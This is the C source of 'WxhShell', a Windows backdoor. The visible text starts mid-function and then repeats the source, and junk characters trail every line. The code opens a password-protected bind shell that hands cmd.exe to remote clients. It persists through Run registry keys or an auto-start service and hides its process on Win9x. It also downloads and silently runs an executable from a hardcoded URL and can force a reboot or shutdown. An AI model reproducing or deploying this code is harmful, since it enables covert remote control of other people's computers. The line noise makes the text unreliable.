    ExitThread(0); gCW {$d1=  
    } ujbJ&p   
    break; ZJ |&t  
    } C*Dco{ EQ>  
  // 关机 8s6^!e&  
  case 'd': { oBWa\N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hKN/&P^  
    if(Boot(SHUTDOWN)) ajD/)9S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !l1jQq_mK  
    else { - !s=`9o  
    closesocket(wsh); j$khGR!  
    ExitThread(0); f,8PPJ:,  
    } c.;<+dYsm*  
    break; ob7hNo#  
    } /SJI ~f+$  
  // 获取shell ;)!);q+  
  case 's': { S~.%G)R  
    CmdShell(wsh); :ZU-Vi.b  
    closesocket(wsh); tL S$D-  
    ExitThread(0); ZrDr/Q~  
    break; A55F* d  
  } A{\!nq_~N  
  // 退出 ||rZ+<  
  case 'x': { e u?DSad  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s"0Hz"[^=  
    CloseIt(wsh); Zex`n:Wl?j  
    break; Uy{ZK*c8i  
    } jGOE CKP  
  // 离开 4Kn)5>  
  case 'q': { +(##B pC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wRQMuFGY  
    closesocket(wsh); VJ|8 0?4h  
    WSACleanup(); M7\KiQd  
    exit(1); a |0f B4G  
    break; \.{ZgL5"  
        } sm;\;MP*yH  
  } E>`gj~  
  } *uvE`4V^Jg  
]0myoWpi3  
  // 提示信息 4d $T6b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @s~*>k#"#  
} 2M?L++i  
  } Ve\P,.  
_t\)W(E&  
  return; =_,j89E  
} E3h-?ugO'  
3 bl l9Ey  
// shell模块句柄 *vIC9./  
int CmdShell(SOCKET sock) z]=jer  
{ =}YaV@g<f  
STARTUPINFO si; &,iPI2`O A  
ZeroMemory(&si,sizeof(si)); EL1*@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o\:vxj+%*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f5hf<R),A  
PROCESS_INFORMATION ProcessInfo; }1Km h]  
char cmdline[]="cmd"; c$R<j'7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [knwp$  
  return 0; U#F(%b-LC  
} e><,WM,e  
^uWj#  
// 自身启动模式 .7MLgC;  
int StartFromService(void) NLO&.Q]#  
{ MGSD;Lgn  
typedef struct 0`"DYJ}d  
{ ]j^rJ|WTH  
  DWORD ExitStatus; OJPi*i5*  
  DWORD PebBaseAddress; c:_dW;MJ0  
  DWORD AffinityMask; ;F\sMf{  
  DWORD BasePriority; Pxe7 \e  
  ULONG UniqueProcessId; LkUi^1((e  
  ULONG InheritedFromUniqueProcessId; qwHP8GU  
}   PROCESS_BASIC_INFORMATION; [35>T3Ku  
<5sP%Fs)  
PROCNTQSIP NtQueryInformationProcess; EJJW  
[fr!J?/@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ny[\yj4F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uKd79[1  
ak]H|D" 9  
  HANDLE             hProcess; vU,;asgy  
  PROCESS_BASIC_INFORMATION pbi; &3bhK5P  
}n$I #G}\/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 84M*)cKR~  
  if(NULL == hInst ) return 0; WOuk> /  
F48W8'un  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PZO8< d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -v62 s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '7>Yr zq  
 OiMr,  
  if (!NtQueryInformationProcess) return 0; zr[|~-  
DO9_o9'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |bv7N@?e  
  if(!hProcess) return 0; I"r[4>>B>0  
*aS[^iX?s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EMMp4KKOx+  
CGJ>j}C  
  CloseHandle(hProcess); AWz|HF#-  
yVbyw(gS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JD{AwE@Ro  
if(hProcess==NULL) return 0; P/doNv}iG  
zc%HBZ3p  
HMODULE hMod; (pkq{: Fs  
char procName[255]; t gHXIr}3  
unsigned long cbNeeded; G;v3kGn  
#EX NSr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yU< "tgE  
]5j1p6;(`  
  CloseHandle(hProcess); #kPsg9Y  
@w@ `-1  
if(strstr(procName,"services")) return 1; // 以服务启动 $z'_Hr'  
:, Ad1(  
  return 0; // 注册表启动 VfJdCg_  
} 9:]|TIPi  
FpFkZFtG'm  
// 主模块 .V?>Jhok  
int StartWxhshell(LPSTR lpCmdLine) SyCa~M!}>  
{ Bu,VLIba  
  SOCKET wsl; nT xN>?l2E  
BOOL val=TRUE; jK-usn  
  int port=0; W)fh}|.5  
  struct sockaddr_in door; DyPb]Udb:  
QN OA66  
  if(wscfg.ws_autoins) Install(); K{[N.dX(  
Q804_F F#  
port=atoi(lpCmdLine); !:9s>0';N  
^fxS=Qs+  
if(port<=0) port=wscfg.ws_port; X(fT[A_2C  
_"'0^F$I  
  WSADATA data; f l*O)r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H"J>wIuGX  
Ur2) ];WZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   73>Hzpv0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1n )&%r  
  door.sin_family = AF_INET; 9Ts rg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LXx`Vk>ky  
  door.sin_port = htons(port); -x2&IJ!  
%][6TZ}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vC ISd   
closesocket(wsl); *d$r`.9j  
return 1; xm bFJUMH  
} OIdoe0JR:O  
H|/U0;s  
  if(listen(wsl,2) == INVALID_SOCKET) { _/)HAw?k  
closesocket(wsl);  _V_GdQ  
return 1; F@u>5e^6  
} }@Ou]o  
  Wxhshell(wsl); <CY<-H  
  WSACleanup(); 25/OV"Z  
%8~g#Z  
return 0; Y5$VWUrB  
Sx}61?  
} cy!;;bB  
71!'k>]h  
// 以NT服务方式启动 xr).ZswQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `} :~,E  
{ |;MW98 A  
DWORD   status = 0; u<K{=94!e  
  DWORD   specificError = 0xfffffff; h\PybSW4s  
rv;is=#1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8u4FagQ,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lko k2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ( t59SY  
  serviceStatus.dwWin32ExitCode     = 0; mVdg0  
  serviceStatus.dwServiceSpecificExitCode = 0; p|o?nI  
  serviceStatus.dwCheckPoint       = 0; L#9g ~>~  
  serviceStatus.dwWaitHint       = 0;  T6N~L~J  
`CF.-Vl3J#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;;lOu~-*$p  
  if (hServiceStatusHandle==0) return; %hH@< <b(s  
<A@qN95m  
status = GetLastError(); .YxcXe3#  
  if (status!=NO_ERROR)  a5@XD_b  
{ U((mOm6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I2^ Eo5'  
    serviceStatus.dwCheckPoint       = 0;  @bO/5"X,  
    serviceStatus.dwWaitHint       = 0; dtd}P~  
    serviceStatus.dwWin32ExitCode     = status; fi;00>y  
    serviceStatus.dwServiceSpecificExitCode = specificError; Tg\wBhJr|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %:/?eZ  
    return; 1@{qPmf^  
  } ewORb  
4+'d">+|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u:GDM   
  serviceStatus.dwCheckPoint       = 0; 6R+EG{`  
  serviceStatus.dwWaitHint       = 0; /w2jlu}yt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2<33BBlWA  
} {}1KI+s9\  
qjI.Sr70  
// 处理NT服务事件,比如:启动、停止 {axMS yp;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $3je+=ER  
{ 0>)F+QC  
switch(fdwControl) gL}x| Q2`  
{ }Z3+z@L  
case SERVICE_CONTROL_STOP: *#g[ jl4  
  serviceStatus.dwWin32ExitCode = 0; Ft^+P*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \:|"qk  
  serviceStatus.dwCheckPoint   = 0; @w{"6xc%a  
  serviceStatus.dwWaitHint     = 0; &JHqUVs^  
  { ypV>*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '7(oCab"_  
  } *nc9 u"  
  return; !@wG22iC4d  
case SERVICE_CONTROL_PAUSE: 8lfKlXR78  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2(iv+<t  
  break; u RPvo}!=1  
case SERVICE_CONTROL_CONTINUE: %% A==_b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *e}1KcJ  
  break; u[~= a 5:4  
case SERVICE_CONTROL_INTERROGATE: jpRC6b?  
  break; 6qH^&O][  
}; 3}ATt".  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4VrL@c @  
} P[<EFj E  
&&K"3"um  
// 标准应用程序主函数 f5dctDHP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OXIy0].b  
{ nHTb~t5Ke  
0o &B 7N  
// 获取操作系统版本 \>nY%*  
OsIsNt=GetOsVer(); yi@mf$A|  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  TDR2){I  
(Q~ (t  
  // 从命令行安装 6*tbil_G+  
  if(strpbrk(lpCmdLine,"iI")) Install(); &=`6- J  
z)0%gd|  
  // 下载执行文件 KmE<+/x~?  
if(wscfg.ws_downexe) { <9yB& ^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IM$I=5y e  
  WinExec(wscfg.ws_filenam,SW_HIDE); C3GI?| b  
} }j6<S-s~  
gi5Ffvs$  
if(!OsIsNt) { ?Y | *EH  
// 如果时win9x,隐藏进程并且设置为注册表启动 C:$pAE(  
HideProc(); TB(!*t  
StartWxhshell(lpCmdLine); VaLl$w  
} Bn?MlG;aA  
else AB")aX2% E  
  if(StartFromService()) (3fU2{sm  
  // 以服务方式启动 9G"-~C"e3  
  StartServiceCtrlDispatcher(DispatchTable); z1`z k0  
else )*I%rN8b   
  // 普通方式启动 0f3C; u-q-  
  StartWxhshell(lpCmdLine); HC\\w- `<  
k}$k6Sr"  
return 0; l5fF.A7TT  
} nk^-+olm  
bdz&"\$X  
~u+|NtF  
#uHl  
=========================================== |cd=7[B  
hD! 9[Gb  
[$P.ek<  
\jGvom.  
tF=Y3W+L  
?=a,  
" 2<GN+W v[#  
Jk3V]u  
#include <stdio.h> !-Br?  
#include <string.h> j~VHU89  
#include <windows.h> `.F+T)G  
#include <winsock2.h> **L3T3$)  
#include <winsvc.h> Imm|5-qJ  
#include <urlmon.h> #RWHk  
rm nfyn  
#pragma comment (lib, "Ws2_32.lib") z(dX<  
#pragma comment (lib, "urlmon.lib") Zk#?.z}  
>HlQ+bl$xw  
#define MAX_USER   100 // 最大客户端连接数 v'W`\MKY)  
#define BUF_SOCK   200 // sock buffer [*|QA 9  
#define KEY_BUFF   255 // 输入 buffer ^tY$pPA  
#Y'svn1H  
#define REBOOT     0   // 重启 5*31nMP\  
#define SHUTDOWN   1   // 关机 cAAyyc"yJ  
wc6v:,&  
#define DEF_PORT   5000 // 监听端口 Pu7cL  
At=l>  
#define REG_LEN     16   // 注册表键长度 2W]y9)<c  
#define SVC_LEN     80   // NT服务名长度 Q1(6U6L  
Vuu_Sd  
// 从dll定义API 5xF R7%_&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'YUx&F cM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sM8AORd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vhaUV#V"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zgR@-OtFZ  
}2-p= Y:6  
// wxhshell配置信息 *Ul L\  
struct WSCFG { r GxX]  
  int ws_port;         // 监听端口 RS`~i8e'  
  char ws_passstr[REG_LEN]; // 口令 BL Q&VI4  
  int ws_autoins;       // 安装标记, 1=yes 0=no }4M4D/=  
  char ws_regname[REG_LEN]; // 注册表键名 (!9ybH;T  
  char ws_svcname[REG_LEN]; // 服务名 ZFsJeF'"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \r+8}8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G oJ\6& "  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bu|ecv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sBfPhBT|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K9+C3"*I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 , BCo/j  
+m8gS;'R4  
}; N>J"^GX  
~0~f  
// default Wxhshell configuration OK"B`*  
struct WSCFG wscfg={DEF_PORT, P Zc{wbjp&  
    "xuhuanlingzhe", \d)~.2$G*  
    1, 1S26Y|L)  
    "Wxhshell", sXaIQhZ  
    "Wxhshell", rtM!|apr  
            "WxhShell Service", zxr|:KC ?&  
    "Wrsky Windows CmdShell Service", YN@ 4.&RP  
    "Please Input Your Password: ", %95'oW)lo  
  1, U'tfsf/V  
  "http://www.wrsky.com/wxhshell.exe", vHz]-Q-|9  
  "Wxhshell.exe" m+m,0Ey5H  
    }; A/4HR]  
P,[O32i#  
// 消息定义模块 1TvR-.e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G$"$k=[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '!6Py1i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L)LW5%.6  
char *msg_ws_ext="\n\rExit."; CrIt h/Z  
char *msg_ws_end="\n\rQuit."; AqzPwO^  
char *msg_ws_boot="\n\rReboot..."; }`,}e259  
char *msg_ws_poff="\n\rShutdown..."; +s'qcC  
char *msg_ws_down="\n\rSave to "; QQwD) WG  
WhR j@y  
char *msg_ws_err="\n\rErr!"; 0H-~-z8Y  
char *msg_ws_ok="\n\rOK!"; {LLy4m  
KiJRq>  
char ExeFile[MAX_PATH]; M9/c8zZ  
int nUser = 0; YIQm;E EG  
HANDLE handles[MAX_USER]; 8,,$C7"EP  
int OsIsNt; 9O+><x[i  
$`emP Hel  
SERVICE_STATUS       serviceStatus; V~uH)IMkh7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]$>O--  
i: ZL0nH-  
// 函数声明 jB17]OCN  
int Install(void); H -sJt:  
int Uninstall(void); 1.Ximom  
int DownloadFile(char *sURL, SOCKET wsh); 8SGFzb! h  
int Boot(int flag); wf<=r W'  
void HideProc(void); rK%A=Q  
int GetOsVer(void); '$3]U5KOwK  
int Wxhshell(SOCKET wsl); exqFwmhh  
void TalkWithClient(void *cs); %Hk9.1hn5  
int CmdShell(SOCKET sock); x}W,B,q  
int StartFromService(void); %\ i 7  
int StartWxhshell(LPSTR lpCmdLine); gqje]Zc<  
UtF8T6PKdW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7X$[E*kd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E-\<,=bh  
-];/*nl  
// 数据结构和表定义 LH4!QDK-  
SERVICE_TABLE_ENTRY DispatchTable[] = -o8H_MR  
{ wW~y?A"{2  
{wscfg.ws_svcname, NTServiceMain}, q}PeXXH  
{NULL, NULL} H?~|Uj 6  
}; zw`T^N#  
c7[<X<yk  
// 自我安装 <#s=78 g.3  
int Install(void) 1 XAXokxj  
{ Gyak?.@R  
  char svExeFile[MAX_PATH]; :K ^T@F5n  
  HKEY key; =7JvS~s  
  strcpy(svExeFile,ExeFile); s0 ZF+6f  
J2$L[d^  
// 如果是win9x系统,修改注册表设为自启动 *Op;].>E  
if(!OsIsNt) { fAu^eS%>7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^ 2"r't  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nVF?.c  
  RegCloseKey(key); Dk!;s8}*c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +mQMzZZTZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eC^UL5>%  
  RegCloseKey(key); :Rh?#yO 5  
  return 0; p`jkyi  
    } bqHR~4 #IR  
  } 2g elmQnc  
} FC:Z9{2!  
else { |0A"3w  
4LRrrW  
// 如果是NT以上系统,安装为系统服务 2nW:|*:/p6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3[g%T2&[  
if (schSCManager!=0) S <C'#vj  
{ p&SxR}h  
  SC_HANDLE schService = CreateService j~(s3pSCo  
  ( d%:B,bck  
  schSCManager, 2NHkK_B1P  
  wscfg.ws_svcname, j {w'#x,  
  wscfg.ws_svcdisp, B>&Q]J+R  
  SERVICE_ALL_ACCESS, uT'}_2=:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x=g=e <_  
  SERVICE_AUTO_START, RKu'WD?sdH  
  SERVICE_ERROR_NORMAL, 2sj[hI  
  svExeFile, I%]~]a  
  NULL, jN\} l|;q  
  NULL, 'u6T^YS  
  NULL, mXd,{b'  
  NULL, PuvC MD  
  NULL l^ P[nQDH  
  ); "<3F[[;~  
  if (schService!=0) 6>rgoT)6~  
  { mRe BS  
  CloseServiceHandle(schService); |H`}w2U[j  
  CloseServiceHandle(schSCManager); "|?zQ?E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @6eM{3E.  
  strcat(svExeFile,wscfg.ws_svcname); '- >%b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >h^CC*&'pw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u^DfRd&P0  
  RegCloseKey(key); LUGyc( h  
  return 0; DJxe3<  
    } :DI``]Si\  
  } KMO(f!?  
  CloseServiceHandle(schSCManager); n[~kcF  
} zn| S3c  
} 9yU(ei:GUo  
:6k8\{^9"D  
return 1; RRW/.y  
} u@j]U|FpY  
)HHG3cvU  
// 自我卸载 fqoI(/RWP  
int Uninstall(void) S VCTiG8t  
{ &cnciEw1  
  HKEY key; pCXceNFo  
+Bg$]~ T  
if(!OsIsNt) { Lnin;0~{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :fo.9J  
  RegDeleteValue(key,wscfg.ws_regname); ,$i2vGd  
  RegCloseKey(key); zX{O"w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SG:Fn8  
  RegDeleteValue(key,wscfg.ws_regname); KIyhvY~  
  RegCloseKey(key); K(&I8vAp  
  return 0; KIY/nu   
  } tPv3nh  
} dQX<X}  
} 9 7/"5i9  
else { =:)p\{B  
!GB\-(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); > -P UY  
if (schSCManager!=0) ;WydXQ}Q^  
{ =<,>dBs}\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <>=A6  
  if (schService!=0) }e/#dMEi  
  { v5 |XyN"  
  if(DeleteService(schService)!=0) {  F#0y0|  
  CloseServiceHandle(schService); m2%OX"#e  
  CloseServiceHandle(schSCManager); B|\pzWD%  
  return 0; 1r!o,0!d-'  
  } M]FA y"E  
  CloseServiceHandle(schService); PxuE(n V[  
  } e"^ /xF  
  CloseServiceHandle(schSCManager); xEW >7}+\  
} <c` + f PW  
} 1~J:hjKQ  
DdU T"%  
return 1; YkOl@l$D  
} ]H ze  
Sz!mn  
// 从指定url下载文件 S&yKi  
int DownloadFile(char *sURL, SOCKET wsh) .b.p yVk  
{ `^:>sU  
  HRESULT hr; r#8t @W  
char seps[]= "/"; 1 u[a713O  
char *token; 1L~y!il  
char *file; U*P&O+(1'  
char myURL[MAX_PATH]; pr\wI?:k  
char myFILE[MAX_PATH]; $w,O[PIi  
'?j[hhfB-  
strcpy(myURL,sURL); ;k W+  
  token=strtok(myURL,seps); rM?O2n  
  while(token!=NULL) :6}Zo  
  { Q9Tt3h2ga  
    file=token; = aO1uC|6C  
  token=strtok(NULL,seps); kn$2_I9  
  } .|$:%"O&X  
Fe r&X  
GetCurrentDirectory(MAX_PATH,myFILE); =1kE2u  
strcat(myFILE, "\\"); Hnq$d6F  
strcat(myFILE, file); A_8UPGh8  
  send(wsh,myFILE,strlen(myFILE),0); P\jnht  
send(wsh,"...",3,0); )JNUfauyT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,@\$PyJ  
  if(hr==S_OK) bD2):U*Fzo  
return 0; &ikPa,A  
else hg2a,EU\Z  
return 1; ILN Yh3  
sJI" m'r=Z  
} aXv[~  
ec8 iZ8h8  
// 系统电源模块 M0jC:*D`"  
int Boot(int flag) =d+~l  
{ )9pRT dT  
  HANDLE hToken; oouhP1py,  
  TOKEN_PRIVILEGES tkp; be<7Vy]j  
(+(YQ2  
  if(OsIsNt) { g-C)y 06  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f9%M:cl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !t;B.[U *  
    tkp.PrivilegeCount = 1; #<$pl]>}t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +.czj,Sq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /8cfdP Ba  
if(flag==REBOOT) { GbXa=* <-<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l:@`.'-=  
  return 0; vtByCu5  
} &c AFKYt  
else { EDDld6O,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;bYpMcH  
  return 0; hL?"!  
} [-5l=j r  
  }  ~ERA  
  else { &06pUp iS  
if(flag==REBOOT) { G5oBe6\C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &UFj U%Z%  
  return 0; 3+<f7  
} s ahXPl%;U  
else { Ye=c;0V(w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?hFG+`"W  
  return 0; >s%&t[r6  
} 6_=t~9sY  
} B4#XQ-  
P&sn IJ  
return 1; )yTBtYw3  
} +|w%}/N  
6f'THU$  
// win9x进程隐藏模块 ML!>tCT  
void HideProc(void) 6)]zt  
{ t/vw%|AS  
%ij,xN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sZDxTP+  
  if ( hKernel != NULL ) VF bso3q<j  
  { 2(i@\dZCb<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h,fC-+H5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XU*4MU^'  
    FreeLibrary(hKernel); eZ G#op  
  } [uLpm*7  
i)1013b  
return; -V F*h.'  
} gebDNl\Y2  
EyDH -}Y  
// 获取操作系统版本 +a'["Gjq;  
int GetOsVer(void) j /)A<j$  
{ oc>N| ww:  
  OSVERSIONINFO winfo; )*`cJ_t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fo"%4rkL  
  GetVersionEx(&winfo); -+HD5Hc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '}, 8x?  
  return 1; PKg>|]Rf.  
  else PNp-/1Cx  
  return 0; VkD}gJY  
} /J5)_> R:  
]kir@NMv>  
// 客户端句柄模块 >Tp`Kri  
int Wxhshell(SOCKET wsl) 2[X\*"MQ2  
{ G_E \p%L>]  
  SOCKET wsh; "nA~/t=  
  struct sockaddr_in client; 3%(BZ23  
  DWORD myID; ?ZAynZF|#  
4XNdsb  
  while(nUser<MAX_USER) CQns:.`$`  
{ %jh gKq  
  int nSize=sizeof(client); G6XDPr:}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Vpe\Okt:  
  if(wsh==INVALID_SOCKET) return 1; %0_}usrsk  
C~X"ZW:d[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :>*0./hG  
if(handles[nUser]==0) 08qM?{z o^  
  closesocket(wsh); -%ftPfm  
else ,382O$C  
  nUser++; 9YvK<i&I  
  } <i ";5+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7?p>v34A  
Vv_lBYV  
  return 0;  V$fn$=  
} s?7"iE  
`9& ~fWu  
// 关闭 socket y[DS$>E  
void CloseIt(SOCKET wsh) oC~+K@S  
{ VT2f\d[Q  
closesocket(wsh); mIW/x/I  
nUser--; pC/13|I  
ExitThread(0); aXgngw q  
} 7U2?in}?Qi  
 _W  
// 客户端请求句柄 oqa8v6yG'  
void TalkWithClient(void *cs) 0]Qk*u<  
{ y7T<Auue`  
NI85|*h  
  SOCKET wsh=(SOCKET)cs; :I(d-,C  
  char pwd[SVC_LEN]; sEHA?UP$<F  
  char cmd[KEY_BUFF]; X!|K 4Z!k  
char chr[1]; b#W(&b^q  
int i,j; zI$'D|A  
YZZog6%  
  while (nUser < MAX_USER) { /wPW2<|"X.  
.OZ\ s%h;  
if(wscfg.ws_passstr) { TlC GP)VSj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5BS !6o;P'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rAZ~R PrW  
  //ZeroMemory(pwd,KEY_BUFF); 4G'-"u^g  
      i=0; z#GrwE,r   
  while(i<SVC_LEN) { =h\uC).t&  
mCSt.n~  
  // 设置超时 FnCMr_  
  fd_set FdRead; \ch4c9  
  struct timeval TimeOut; dYZB> OS  
  FD_ZERO(&FdRead); i}/Het+(  
  FD_SET(wsh,&FdRead); }t0JI3  
  TimeOut.tv_sec=8; C#@-uo2  
  TimeOut.tv_usec=0; B) BR y%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |e91KmiqJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ge ?Q)N  
fS]Z`U"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NL-V",gI-~  
  pwd=chr[0]; Y'Yu1mH)  
  if(chr[0]==0xd || chr[0]==0xa) { 5Bp>*MR/".  
  pwd=0; 9dFo_a*?  
  break; 3|(3jIa  
  } FVWHiwRU,  
  i++; d 0 mfqP=  
    } IweNe`Z  
vu~7Z;y(<j  
  // 如果是非法用户,关闭 socket ot,=.%O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Qov*xRO6  
} 4k)0OQeW6  
%(B6eiA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;umbld0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4ah5}9{g  
vRLWs`1j  
while(1) { 5s:g(gy3BR  
ri h@(;)1  
  ZeroMemory(cmd,KEY_BUFF); ?nwg.&P  
=%d.wH?dZ/  
      // 自动支持客户端 telnet标准   9>/:c\q+  
  j=0; 'H(khS  
  while(j<KEY_BUFF) { Vo%DoZg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5P[urOvV  
  cmd[j]=chr[0]; dMK\ y4#i  
  if(chr[0]==0xa || chr[0]==0xd) { 1IN^,A]r2h  
  cmd[j]=0; xiO10:L4  
  break; N~%~Q  
  } ^L-; S  
  j++; w" Y'I$  
    } `V{'GF&[  
/%AA\`: 6  
  // 下载文件 ?~X^YxWsY  
  if(strstr(cmd,"http://")) { f@ .s(i=z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =D Tbz3<  
  if(DownloadFile(cmd,wsh)) &%4A3.qE  
